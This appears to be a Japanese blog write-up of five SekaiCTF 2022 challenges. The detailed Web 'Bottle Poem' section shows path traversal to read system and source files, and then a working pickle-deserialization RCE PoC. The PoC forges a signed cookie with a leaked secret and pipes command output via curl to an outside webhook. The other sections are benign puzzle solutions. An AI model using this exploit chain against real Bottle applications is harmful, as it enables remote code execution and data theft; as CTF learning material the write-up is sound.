SekaiCTF 2022
SekaiCTFお疲れ様でした~!
— よーでん (@y0d3n) 2022年10月2日
Web全然わからんくて他ジャンルの自明問題に浮気してた pic.twitter.com/fLcIcMjZXc
- [Web] Bottle Poem
- [Misc] Console Port
- [PPC] Let's Play Osu!Mania
- [Misc] Sus
- [Reverse] Perfect Match X-treme
writeup
Webだけは詳しく書きます。
[Web] Bottle Poem
Come and read poems in the bottle.
No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server.
Author: bwjy
Discordでめっちゃ騒がれてるのを眺めながら解いてた。
アクセスすると、リンクが三つ。どれもWilliam Blakeさんのタイトルになっている。
試しに Spring
を開いてみると、歌詞がtxtで表示される。内容は関係なさそう。
Sound the Flute!
Now it's mute.
...
この時のURLは /show?id=spring.txt
となっており、いかにもパストラバーサルという感じ。
試しに id=/etc/passwd
とかやってみると /etc/passwd
が盗めた。
さて、この問題はここからが本題。
パストラバーサルはできたが、ソースコードも無いのでflagがどこにあるのかわからない。
guessかと思ってflag.txt
とか/flag
とかやっても何もなし。
パストラバーサルで思いつく限りのファイルを見ていく時間が発生していた。
/proc/self/cmdline
から、python3 -u /app/app.py
という情報が手に入る。
/app/app.py
で問題のソースコードが手に入る。
from bottle import route, run, template, request, response, error from config.secret import sekai import os import re @route("/") def home(): return template("index") @route("/show") def index(): response.content_type = "text/plain; charset=UTF-8" param = request.query.id if re.search("^../app", param): return "No!!!!" requested_path = os.path.join(os.getcwd() + "/poems", param) try: with open(requested_path) as f: tfile = f.read() except Exception as e: return "No This Poems" return tfile @error(404) def error404(error): return template("error") @route("/sign") def index(): try: session = request.get_cookie("name", secret=sekai) if not session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=sekai) return template("guest", name=session["name"]) if session["name"] == "admin": return template("admin", name=session["name"]) except: return "pls no hax" if __name__ == "__main__": os.chdir(os.path.dirname(__file__)) run(host="0.0.0.0", port=8080)
ソース読んだ感じ、判明したのが以下。
bottle
というフレームワークを使ってることがわかる。from config.secret import sekai
相対パスでimport
している。secret
は d"/sign"
のcookie 生成で使ってる。
bottle
のtemplate
という関数でテンプレートファイルをよしなにしてそう。index
,error
,guest
,admin
の4つのテンプレートファイルがある
@route("/sign")
という新しいパスが見つかる。- guest と admin の二つの権限次第で返ってくるテンプレートファイルが変わる。
一つずつ解決していく。
a - bottle
bottleの深掘りはめんどそう。もっと怪しいのが何個かあるので、とりあえずスルー
b - secret
from config.secret import sekai
という書き方から相対パスがわかるので、パストラバーサルで盗んじゃう。
/app/config/secret.py
でseretの中身が判明する。
このsecretでcookieを生成しているので、後々使えそう。
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
c,d - template
index
, error
, guest
, admin
という名前のテンプレートファイルがある。
bottle の template 関数の挙動がわかれば、cookieの改ざんをせずにパストラバーサルでadminのテンプレートファイルも盗めそう。
bottle のドキュメントを漁っていたら丁度よさそうなのを見つけた。
./views/{template の第一引数}.tpl
という名前のテンプレートファイルが自動で開かれるっぽい。
/app/views/index.tpl
で盗もうと試みるが、ファイルがない。
もうちょっと調べてたら bottle のソースが見つかったのでテンプレート周りの処理を見てみる。
class BaseTemplate(object): """ Base class and minimal API for template adapters """ extensions = ['tpl', 'html', 'thtml', 'stpl']
['tpl', 'html', 'thtml', 'stpl']
の4つの拡張子のどれかだったら自動で開かれそうな雰囲気がある。
試しに /app/views/index.html
でアクセスしてみたらテンプレートファイルが盗めた。
さっきいかにも怪しく見えた admin
のテンプレートファイルを盗む。
/app/views/admin.html
Hello, you are {{name}}, but it’s useless.
name
変数は admin が入るはずなので、本当に特に何もないっぽい。残念。
(なぜか error
のテンプレートだけは見つからなかった。適当に存在しないページをGETすると「Critical error while processing request: /404」と表示される。これはデフォルトの処理エラーっぽい。)
再び a - bottle
手詰まりになってしまったので、bottle の深掘りをしていくことにする。
余談だが、パストラバーサルで /proc/self/environ
の環境変数などからコンテナを特定、pipのインストール先ディレクトリを特定できたので、bottleのソースを盗んでバージョンも特定した。
/usr/local/lib/python3.8/site-packages/bottle.py
__version__ = '0.12.23'
bottle のソースが変更されてないことも確かめることができたので、安心してroute, run, template, request, response, error あたりのドキュメントを読み込んでいく。
cookieのドキュメントを読んでいるときに、かなり興味深い一文が見つかった。
Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers.
pickle-able
という部分。pythonでpickleといえば、RCEだ。
pickleは過去にwriteupにも書いてたので結構記憶に残っていてすぐにピンときた。
cookieあたりのソースを見ても pickle.loads
とかしてるので行けそうだ。
今回は {"name": "guest"}
の部分を {"name": cmd}
にすることでコマンド実行ができた。
コマンド実行後の結果は返ってこないので、curlでwebhook系サーバに送る。
このあたりを参考にPoCを書く。
import pickle, base64, hmac, requests, sys, os sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" class cmd(object): def __reduce__(self): payload = 'ls | curl {url} -X POST -d @-' return (os.system, (payload,)) #session = {"name": "guest"} session = {"name": cmd()} p = pickle.dumps(('name', session)) msg = base64.b64encode(p) sig = base64.b64encode(hmac.new(sekai, msg).digest()) c = '!'+sig+'?'+msg print c print requests.get("{url}", cookies=dict(name=c)).text
ls /
したら /flag
が見つかる。
cat /flag
してもうまくいかなくて「??」になったが、file /flag
したら実行ファイルだった。問題文の"executable"はそういうことか。
/flag
で実行すればflag。
思ったよりsolve数結構多くてびっくりしてました。
[Misc] Console Port
– Hey Miku, here’s the manual. Can you help me port the game to consoles?
– Sure, no problem.[ 1 week later... ]
– Hey Miku, how’s the porting going?
– I just finished it today, wanna take a look?
– Sure, which console did you port it to?
– Huh...? What do you mean “which console”?Author: pamLELcu
ゲームをconsoleに移植したらしい。 (最初、マニュアルに日本語があることに気付かずにちょっと苦労してた)
マニュアル曰く、「完全爆弾解除マニュアル:KEEP TALKING and NOBODY EXPLODES」というタイトルらしい。
結構複雑な手順を踏んで、爆弾を解除する。有名なゲームなのかな?
問題文にsttyコマンドで接続する方法が書かれてるので、とりあえず言われるがまま接続する。
(WindowsターミナルからWSLをいじってるが、WSLのアプリから直接いじると文字化けしてとてもプレイできない)
あとはマニュアル通りに爆弾を解除するだけ。
Who's on first に限り、ボタンが英語なのでマニュアルは英語の方を見ないと解けない。 気合いで爆弾を解除したらflagをくれた。
[PPC] Let's Play Osu!Mania
ルールがPDFで渡される。英語PDFだいぶ厳しい ><
以下のような入力が与えられ、音ゲーの譜面のように見る。
n
最初に行数の指定|
は端っこを意味する。意味なし。-
はノーツ (タップ)-
の後に#
が来た場合、長押し。再度-
が来たら終了。(ホールド)(空白)は何もなし
13 |-- -| | # | | #- | | # | | - -| |- | | - -| | | | --| |- # | | -# | | # | | - |
出力はオブジェクトの総数(タップ・ホールド)の個数。
タップはシンプルに1個ずつカウント。
ホールドは -
で始まって #
が間にあり、 -
で終わるまでを 1 としてカウントする。
今回の入力例の場合、12が答え。
いい感じに数える方法を考える。
n-1行目まで、次が#
でない-
をカウントし、n行目は-
をカウントすることで解ける。
言語にgoが用意されてて助かった。。
package main import ( "bufio" "fmt" "os" "strconv" "strings" ) func main() { in := bufio.NewScanner(os.Stdin) in.Scan() var n int n, _ = strconv.Atoi(in.Text()) a := make([][]string, n) for i := 0; i < n; i++ { a[i] = make([]string, 6) in.Scan() for j, v := range strings.Split(in.Text(), "") { a[i][j] = v } } var cnt int for i := 0; i < n-1; i++ { for j := 1; j < 6-1; j++ { if a[i][j] == "-" { if a[i+1][j] != "#" { cnt++ } } } } for j := 1; j < 6-1; j++ { if a[n-1][j] == "-" { cnt++ } } fmt.Println(cnt) }
[Misc] Sus
Someone sent this file to me, claiming he got it from a SEKAI where the palette is not colorful but purple. I had no idea what he was talking about – I only find it really sus.
Author: pamLELcu
SEKAI.sus というファイルが渡される。
#{数字5桁}: {数字}
という形式でかなり長い。
#00008:01 #00114:12120000 #00118:0026000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 #00116:0000000000000000001200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 #00112:00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000121600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 #00212:22 ...
全く意味がわからなかったのでsusを調べてたら、音ゲーの譜面にたどり着いた。
「sus 創作譜面」や「SusPlayer」など。
SusPlayerのようなソフトがあればsusを読み込むことができそうだ。
調べてるとChedというのが見つかった。
sus形式のエクスポートをサポートしてるソフトウェアのようだが、プラグインで「プロセカのテクスチャで表示」と「susを読み込む」という二つが用意されてる。
恐る恐るダウンロードして環境を整えたらsusが開けた。
デフォルトではCHUNITHMの表示のようだ。
プラグインでプロセカ表示にしたら見やすかった。
譜面でflagが書かれている。(2
をZ
だと思ってincorrect喰らってた)
[Reverse] Perfect Match X-treme
Can you qualify Fall Guy’s Perfect Match and get the flag? Author: sahuang & enscribe
Perfect_Match_X-treme.zipが渡される。Unityっぽくてファイルがかなり多い。
とりあえずgrepで平文保存をお祈りしてたらバイナリファイルが引っかかった。
$ grep -rwn SEKAI . Binary file ./PerfectMatch_Data/level0 matches
stringsしてみる。
$ strings PerfectMatch_Data/level0 ... L>333? L>333? SEKAI{F4LL_GUY5_ fff?fff? Qualified! 1LL3G4L} H3CK_15_ Horizontal Vertical Submit Cancel Analog X Analog Y =333? Jump Sprint
flagっぽいのが見える。SEKAI{F4LL_GUY5_
と 1LL3G4L}
かと思ったが、fall_guys_illegalだとかなり不味い文章なので、近くに見えてた H3CK_15_
を間に挟んだら正解だった。
Survey
39(ミク)点のSurvey。
筆記体のflagを読むのが一番難しかった。(送信後のページにテキストで書いてあるのが見えた。即閉じたので見間違いかもしれないけど)
Console PortとOsu、Surveyで久しぶりに言語の違いを感じた。
翻訳ツールが使えない・使いにくい問題は辛い。。
とはいえBottle Poemかなり楽しかったです。お疲れ様でした。